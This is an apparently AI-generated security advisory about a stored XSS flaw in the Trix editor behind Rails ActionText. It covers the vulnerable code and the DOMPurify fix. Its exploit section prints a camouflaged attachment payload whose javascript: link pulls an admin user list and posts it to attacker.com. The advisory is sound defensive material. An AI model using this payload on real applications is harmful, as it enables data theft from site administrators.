CVEReports
Reports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Reports
  • Sitemap

Company

  • About
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Powered by Google Gemini & CVE Feed

|
•

GHSA-g9jg-w8vm-g96v
CVSS 4.6|EPSS 0.04%

Trix or Treat: Unsanitized Attachments Lead to Stored XSS in ActionText

Amit Schendel
Amit Schendel
Senior Security Researcher•December 31, 2025•5 min read
PoC AvailableNot in KEV

Executive Summary (TL;DR)

The Trix rich text editor (default in Rails ActionText) failed to sanitize the `href` property inside the `data-trix-attachment` JSON blob. An attacker can manually craft a payload with a `javascript:` URI. When a user clicks the rendered attachment, the script executes. Fixed in version 2.1.16 by implementing DOMPurify validation.

A logic flaw in the Trix editor's attachment handling allows attackers to inject malicious JavaScript via the 'href' property of the 'data-trix-attachment' attribute. This results in Stored XSS when a victim clicks the compromised attachment.

The Hook: Rich Text, Poor Decisions

If you've built a Ruby on Rails application in the last five years, you've probably met Trix. It's the engine under the hood of ActionText, designed by the folks at Basecamp to make WYSIWYG editing actually bearable. It treats content as structured data rather than just a messy blob of HTML. This is generally a good thing for consistency.

However, Trix has a feature that attempts to be helpful: it handles attachments. When you drop a file into the editor, Trix creates a representation of that file. To keep track of metadata—like the filename, content type, and download URL—it stuffs a JSON object into a data-trix-attachment attribute on a <figure> tag.

Here is where the philosophy of 'trusting the client' comes back to bite us. The renderer assumes that the JSON blob in the DOM is trustworthy. But as we all know, the DOM is a war zone. If an attacker can modify that JSON before it gets saved to your database (or intercept the request on the way in), they can dictate exactly what happens when an administrator or another user tries to download that 'innocent' PDF.

The Flaw: Trusting the `href`

The vulnerability lies specifically in how Trix renders these attachments for the view. When the editor initializes or renders content, it scans for these data-trix-attachment attributes. It parses the JSON content to decide how to display the file.

Deep within src/trix/views/attachment_view.js, there is a method called getHref(). Its job is simple: check if the attachment JSON has a URL associated with it so the user can click to view or download the file. If the attachment element in the DOM doesn't already have an anchor (<a>) tag inside it, Trix obliges by wrapping the element in a new link.

The logic failure here is classic: Trix took the href value from the JSON and shoved it directly into the href attribute of the generated anchor tag. It didn't care if the protocol was http, https, or the dreaded javascript. It didn't ask questions. It just followed orders.

The Code: The Smoking Gun

Let's look at the code before the fix. This is the logic in AttachmentView that retrieves the link destination. It's tragically simple:

// BEFORE: src/trix/views/attachment_view.js
getHref() {
  if (!htmlContainsTagName(this.attachment.getContent(), "a")) {
    // Just grab it and return it. No guard rails.
    return this.attachment.getHref()
  }
}

If the JSON payload says the href is javascript:alert(1), the browser receives <a href="javascript:alert(1)">...</a>. Modern browsers are pretty good at stopping XSS in many places, but javascript: URIs in anchor tags are a feature, not a bug, of the web standards. They execute code in the context of the current origin.

Now, let's look at the fix introduced in version 2.1.16. The developers realized they needed a bouncer at the door. They brought in DOMPurify to vet the attribute:

// AFTER: src/trix/views/attachment_view.js
getHref() {
  if (!htmlContainsTagName(this.attachment.getContent(), "a")) {
    const href = this.attachment.getHref()
    // The Bouncer checks ID: Is this attribute valid for an anchor tag?
    if (href && DOMPurify.isValidAttribute("a", "href", href)) {
      return href
    }
  }
}

DOMPurify.isValidAttribute is strict. It checks the protocol. If it sees javascript: or vbscript: or data:, it returns false, and the href is discarded. The link becomes unclickable, but the application remains secure.

The Exploit: Crafting the Payload

To exploit this, we don't need a complex buffer overflow or a heap spray. We just need to lie to the server about what an attachment is. In a standard Rails application using ActionText, the content is saved as HTML. An attacker can intercept the POST request when saving a comment or a blog post and modify the data-trix-attachment attribute.

Here is a weaponized payload. Imagine inserting this into a comment section or a support ticket:

<figure data-trix-attachment='{
  "contentType": "application/pdf",
  "filename": "Quarterly_Earnings.pdf",
  "filesize": 1024,
  "href": "javascript:fetch(\"/admin/users.json\").then(r=>r.json()).then(d=>fetch(\"https://attacker.com/exfiltrate\", {method:\"POST\", body:JSON.stringify(d)}))"
}'>
  <!-- Visual camouflage -->
  <figcaption class="attachment__caption">Quarterly_Earnings.pdf</figcaption>
</figure>

To the victim, this looks exactly like a standard file attachment. It has the icon (rendered by CSS based on contentType) and the filename. But when the administrator clicks to download these 'earnings', the JavaScript executes immediately.

In this scenario, the script fetches the user list from an admin endpoint and ships it off to the attacker's server. Because it's a stored XSS, this payload executes every time the malicious content is rendered and clicked.

The Impact: Click-Driven Compromise

The severity here is rated Medium (CVSS 4.6) primarily because it requires user interaction (UI:R). The victim has to click the attachment. However, in the context of a CMS or a collaboration tool like Basecamp, clicking attachments is a fundamental user behavior. It's not an edge case; it's the main use case.

The impact is standard for XSS, which is to say, potentially catastrophic depending on the victim:

  1. Session Hijacking: Stealing document.cookie if HttpOnly is not set.
  2. CSRF Bypass: The script runs on the victim's origin, automatically bypassing CSRF tokens since it can read them from the DOM or meta tags.
  3. Phishing: The script could rewrite the page content to present a fake login form.

While the CVSS score is modest due to the interaction requirement, the practical risk for applications dealing with sensitive documents is significantly higher.

Official Patches

GitHubCommit fixing the vulnerability

Fix Analysis (1)

Technical Appendix

CVSS Score
4.6/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
EPSS Probability
0.04%
Top 100% most exploited

Affected Systems

Trix Editor < 2.1.16Ruby on Rails ActionText (dependent on older Trix versions)Basecamp (historical context)

Affected Versions Detail

ProductAffected VersionsFixed Version
trix
Basecamp
< 2.1.162.1.16
action_text-trix
Ruby on Rails
< 2.1.162.1.16
AttributeDetail
Attack VectorNetwork
ComplexityLow
Privileges RequiredLow (Any user who can post content)
User InteractionRequired (Click)
CWE IDCWE-79 (Improper Neutralization of Input During Web Page Generation)
Vulnerability TypeStored XSS

MITRE ATT&CK Mapping

MITRE ATT&CK Mapping

T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1189Drive-by Compromise
Initial Access
CWE-79
Cross-site Scripting (XSS)

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Exploit Resources

Known Exploits & Detection

Regression TestThe commit includes a regression test case demonstrating the injection using a javascript: URI.
HackerOneOriginal report #3455133 by michaelcheers detailing the manual PoC.

Vulnerability Timeline

Vulnerability Timeline

Fix committed to main branch
2024-12-31
Advisory published
2025-01-08

References & Sources

  • [1]GitHub Advisory
  • [2]HackerOne Report
Related Intelligence
CVE-2024-43368

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.